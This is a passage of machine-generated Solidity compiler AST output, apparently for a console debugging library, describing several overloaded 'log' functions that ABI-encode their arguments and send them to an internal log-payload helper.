e":{"id":20868,"name":"address","nodeType":"ElementaryTypeName","src":"43476:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"43448:39:14"},"returnParameters":{"id":20871,"nodeType":"ParameterList","parameters":[],"src":"43502:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20907,"nodeType":"FunctionDefinition","src":"43612:175:14","nodes":[],"body":{"id":20906,"nodeType":"Block","src":"43684:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c737472696e672c75696e7429","id":20898,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"43734:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4180011b79de474cdb825b6c4cfbc6d05927b06d92ab7c90ba7ff48d251e1813","typeString":"literal_string \"log(bool,uint,string,uint)\""},"value":"log(bool,uint,string,uint)"},{"id":20899,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20886,"src":"43764:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20900,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20888,"src":"43768:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20901,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20890,"src":"43772:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20902,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20892,"src":"43776:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4180011b79de474cdb825b6c4cfbc6d05927b06d92ab7c90ba7ff48d251e1813","typeString":"literal_string \"log(bool,uint,string,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":20896,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"43710:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20897,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"43714:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"43710:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20903,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43710:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20895,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"43694:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20904,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43694:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20905,"nodeType":"ExpressionStatement","src":"43694:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43621:3:14","parameters":{"id":20893,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20886,"mutability":"mutable","name":"p0","nameLocation":"43630:2:14","nodeType":"VariableDeclaration","scope":20907,"src":"43625:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20885,"name":"bool","nodeType":"ElementaryTypeName","src":"43625:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20888,"mutability":"mutable","name":"p1","nameLocation":"43639:2:14","nodeType":"VariableDeclaration","scope":20907,"src":"43634:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20887,"name":"uint","nodeType":"ElementaryTypeName","src":"43634:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20890,"mutability":"mutable","name":"p2","nameLocation":"43657:2:14","nodeType":"VariableDeclaration","scope":20907,"src":"43643:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20889,"name":"string","nodeType":"ElementaryTypeName","src":"43643:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20892,"mutability":"mutable","name":"p3","nameLocation":"43666:2:14","nodeType":"VariableDeclaration","scope":20907,"src":"43661:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20891,"name":"uint","nodeType":"ElementaryTypeName","src":"43661:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"43624:45:14"},"returnParameters":{"id":20894,"nodeType":"ParameterList","parameters":[],"src":"43684:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20930,"nodeType":"FunctionDefinition","src":"43793:186:14","nodes":[],"body":{"id":20929,"nodeType":"Block","src":"43874:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c737472696e672c737472696e6729","id":20921,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"43924:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_d32a654812cf9bc5514c83d6adb00987a26a725c531c254b4dfe4eef4cdfc8ee","typeString":"literal_string \"log(bool,uint,string,string)\""},"value":"log(bool,uint,string,string)"},{"id":20922,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20909,"src":"43956:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20923,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20911,"src":"43960:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20924,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20913,"src":"43964:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20925,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20915,"src":"43968:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d32a654812cf9bc5514c83d6adb00987a26a725c531c254b4dfe4eef4cdfc8ee","typeString":"literal_string \"log(bool,uint,string,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":20919,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"43900:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20920,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"43904:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"43900:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20926,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43900:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20918,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"43884:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20927,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43884:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20928,"nodeType":"ExpressionStatement","src":"43884:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43802:3:14","parameters":{"id":20916,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20909,"mutability":"mutable","name":"p0","nameLocation":"43811:2:14","nodeType":"VariableDeclaration","scope":20930,"src":"43806:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20908,"name":"bool","nodeType":"ElementaryTypeName","src":"43806:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20911,"mutability":"mutable","name":"p1","nameLocation":"43820:2:14","nodeType":"VariableDeclaration","scope":20930,"src":"43815:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20910,"name":"uint","nodeType":"ElementaryTypeName","src":"43815:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20913,"mutability":"mutable","name":"p2","nameLocation":"43838:2:14","nodeType":"VariableDeclaration","scope":20930,"src":"43824:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20912,"name":"string","nodeType":"ElementaryTypeName","src":"43824:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20915,"mutability":"mutable","name":"p3","nameLocation":"43856:2:14","nodeType":"VariableDeclaration","scope":20930,"src":"43842:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20914,"name":"string","nodeType":"ElementaryTypeName","src":"43842:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"43805:54:14"},"returnParameters":{"id":20917,"nodeType":"ParameterList","parameters":[],"src":"43874:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20953,"nodeType":"FunctionDefinition","src":"43985:175:14","nodes":[],"body":{"id":20952,"nodeType":"Block","src":"44057:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c737472696e672c626f6f6c29","id":20944,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"44107:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_91d2f813beb255a90e7ea595fb27355b60d93c3f818aac6b4c27388d34e0ea16","typeString":"literal_string \"log(bool,uint,string,bool)\""},"value":"log(bool,uint,string,bool)"},{"id":20945,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20932,"src":"44137:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20946,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20934,"src":"44141:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20947,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20936,"src":"44145:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20948,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20938,"src":"44149:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_91d2f813beb255a90e7ea595fb27355b60d93c3f818aac6b4c27388d34e0ea16","typeString":"literal_string \"log(bool,uint,string,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":20942,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"44083:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20943,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"44087:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"44083:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20949,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44083:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20941,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"44067:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20950,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44067:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20951,"nodeType":"ExpressionStatement","src":"44067:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43994:3:14","parameters":{"id":20939,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20932,"mutability":"mutable","name":"p0","nameLocation":"44003:2:14","nodeType":"VariableDeclaration","scope":20953,"src":"43998:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20931,"name":"bool","nodeType":"ElementaryTypeName","src":"43998:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20934,"mutability":"mutable","name":"p1","nameLocation":"44012:2:14","nodeType":"VariableDeclaration","scope":20953,"src":"44007:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20933,"name":"uint","nodeType":"ElementaryTypeName","src":"44007:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20936,"mutability":"mutable","name":"p2","nameLocation":"44030:2:14","nodeType":"VariableDeclaration","scope":20953,"src":"44016:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20935,"name":"string","nodeType":"ElementaryTypeName","src":"44016:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20938,"mutability":"mutable","name":"p3","nameLocation":"44039:2:14","nodeType":"VariableDeclaration","scope":20953,"src":"44034:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20937,"name":"bool","nodeType":"ElementaryTypeName","src":"44034:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"43997:45:14"},"returnParameters":{"id":20940,"nodeType":"ParameterList","parameters":[],"src":"44057:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20976,"nodeType":"FunctionDefinition","src":"44166:181:14","nodes":[],"body":{"id":20975,"nodeType":"Block","src":"44241:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c737472696e672c6164647265737329","id":20967,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"44291:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a5c70d29969a9ad21bdf8986348e5dc44eea151f64e0f90231a45219c4d0e3d5","typeString":"literal_string \"log(bool,uint,string,address)\""},"value":"log(bool,uint,string,address)"},{"id":20968,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20955,"src":"44324:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20969,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20957,"src":"44328:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20970,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20959,"src":"44332:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20971,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20961,"src":"44336:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a5c70d29969a9ad21bdf8986348e5dc44eea151f64e0f90231a45219c4d0e3d5","typeString":"literal_string \"log(bool,uint,string,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":20965,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"44267:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20966,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"44271:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"44267:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20972,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44267:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20964,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"44251:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20973,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44251:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20974,"nodeType":"ExpressionStatement","src":"44251:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"44175:3:14","parameters":{"id":20962,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20955,"mutability":"mutable","name":"p0","nameLocation":"44184:2:14","nodeType":"VariableDeclaration","scope":20976,"src":"44179:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20954,"name":"bool","nodeType":"ElementaryTypeName","src":"44179:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20957,"mutability":"mutable","name":"p1","nameLocation":"44193:2:14","nodeType":"VariableDeclaration","scope":20976,"src":"44188:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20956,"name":"uint","nodeType":"ElementaryTypeName","src":"44188:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20959,"mutability":"mutable","name":"p2","nameLocation":"44211:2:14","nodeType":"VariableDeclaration","scope":20976,"src":"44197:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20958,"name":"string","nodeType":"ElementaryTypeName","src":"44197:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20961,"mutability":"mutable","name":"p3","nameLocation":"44223:2:14","nodeType":"VariableDeclaration","scope":20976,"src":"44215:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20960,"name":"address","nodeType":"ElementaryTypeName","src":"44215:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"44178:48:14"},"returnParameters":{"id":20963,"nodeType":"ParameterList","parameters":[],"src":"44241:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20999,"nodeType":"FunctionDefinition","src":"44353:164:14","nodes":[],"body":{"id":20998,"nodeType":"Block","src":"44416:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c626f6f6c2c75696e7429","id":20990,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"44466:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_d3de5593988099d08808f80d2a972ea3da18ecd746f0a3e437c530efaad65aa0","typeString":"literal_string \"log(bool,uint,bool,uint)\""},"value":"log(bool,uint,bool,uint)"},{"id":20991,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20978,"src":"44494:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20992,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20980,"src":"44498:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20993,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20982,"src":"44502:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20994,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20984,"src":"44506:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d3de5593988099d08808f80d2a972ea3da18ecd746f0a3e437c530efaad65aa0","typeString":"literal_string \"log(bool,uint,bool,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":20988,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"44442:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20989,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"44446:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"44442:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44442:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20987,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"44426:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20996,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"44426:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20997,"nodeType":"ExpressionStatement","src":"44426:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"44362:3:14","parameters":{"id":20985,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20978,"mutability":"mutable","name":"p0","nameLocation":"44371:2:14","nodeType":"VariableDeclaration","scope":20999,"src":"44366:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20977,"name":"bool","nodeType":"ElementaryTypeName","src":"44366:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20980,"mutability":"mutable","name":"p1","nameLocation":"44380:2:14","nodeType":"VariableDeclaration","scope":20999,"src":"44375:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20979,"name":"uint","nodeType":"ElementaryTypeName","src":"44375:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20982,"mutability":"mutable","name":"p2","nameLocation":"44389:2:14","nodeType":"VariableDeclaration","scope":20999,"src":"44384:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20981,"name":"bool","nodeType":"ElementaryTypeName","src":"44384:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20984,"mutability":"mutable","name":"p3","nameLocation":"44398:2:14","nodeType":"VariableDeclaration","scope":20999,"src":"44393:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20983,"name":"uint","nodeType":"ElementaryTypeName","src":"44393:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"44365:36:14"},"returnParameters":{"id":20986,"nodeType":"ParameterList","parameters":[],"src":"44416:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21022,"nodeType":"FunctionDefinition","src":"44523:175:14","nodes":[],"body":{"id":21021,"nodeType":"Block","src":"44595:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c626f6f6c2c737472696e6729","id":21013,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"44645:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_b6d569d433e69694879a799e3777d59bc29ee89dcbaf739de9b283882fd259ad","typeString":"literal_string \"log(bool,uint,bool,string)\""},"value":"log(bool,uint,bool,string)"},{"id":21014,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21001,"src":"44675:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21015,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21003,"src":"44679:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":21016,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21005,"src":"44683:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21017,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21007,"src":"44687:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b6d569d433e69694879a799e3777d59bc29ee89dcbaf739de9b283882fd259ad","typeString":"literal_string \"log(bool,uint,bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 